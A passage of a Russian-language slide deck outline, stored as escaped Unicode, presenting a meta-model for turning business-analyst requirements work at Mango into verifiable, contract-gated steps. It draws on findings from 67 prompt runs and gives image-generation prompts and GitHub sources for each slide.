\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0435\u0433\u043e\\n> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA chaotic cloud of loose paper notes, chat bubbles and voice waveforms\\non the left flows through a precise geometric gate in the centre and\\nleaves on the right as a neat stack of identical, bound specification\\ndocuments, each linked by thin lines back to its source note.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n[\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0411\u043b\u043e\u043a 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.**\\n\\n- \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\\n  \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n  \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA relay race of four stylised figures passing a glowing document baton\\nalong a long corridor of server racks and contract folders; at every\\nhand-off a few fragments of the baton drift away into the dark.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0411\u043b\u043e\u043a 2. \u0411\u043e\u043b\u044c.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u0441\u0435\u0445 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`.\\n\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `M-1 = 0.0`.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c: \u0432 RUN-0015 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u044b \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\\n  NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0441\u0435\u0442\u043a\u0430 \u0438\u0437 17 \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\\n\u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432; \u043d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeventeen specification documents laid out in a grid, each with a\\ndifferent internal skeleton of blocks and sections, none of them\\nmatching; a single empty template frame hovers above, unused.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\\n  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\\n  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\\n  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\\n> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0411\u043b\u043e\u043a 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.**\\n\\n- \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: **\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442**.\\n  \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438: 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f; \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n  \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430: \u0432\u0445\u043e\u0434 \u00d7 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u00d7 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u00d7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u00d7 \u0430\u043a\u0442\u043e\u0440 \u2014\\n  \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0433\u0435\u0439\u0442 \u2014 \u0432\u044b\u0445\u043e\u0434 + \u0441\u043b\u0435\u0434.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u043d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 (`MM-1`), \u043d\u0435\u0442 \u0433\u0435\u0439\u0442\u0430 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\\n  (`MM-2`), \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435\u0441\u0451\u0442 \u0441\u043b\u0435\u0434 (`MM-3`), \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0448\u0430\u0433\u0430\\n  (`MM-4`).\\n\\n> **\u0424\u043e\u0440\u043c\u0443\u043b\u0430:** `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500\\n> Contract \u2500\u2500\u25b6 Gate \u2500\u2500\u25b6 Artifact_out + Trace`\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u0430 \u0441 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0440\u0430\u043d\u0438.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nAn exploded architectural diagram of four stacked translucent layers:\\na product layer on top, a process layer, a layer of many small identical\\noperation cubes, and at the bottom a row of finished artefacts; thin\\nvertical threads connect every artefact back up to its operation and\\nproduct.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\\n\\n- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 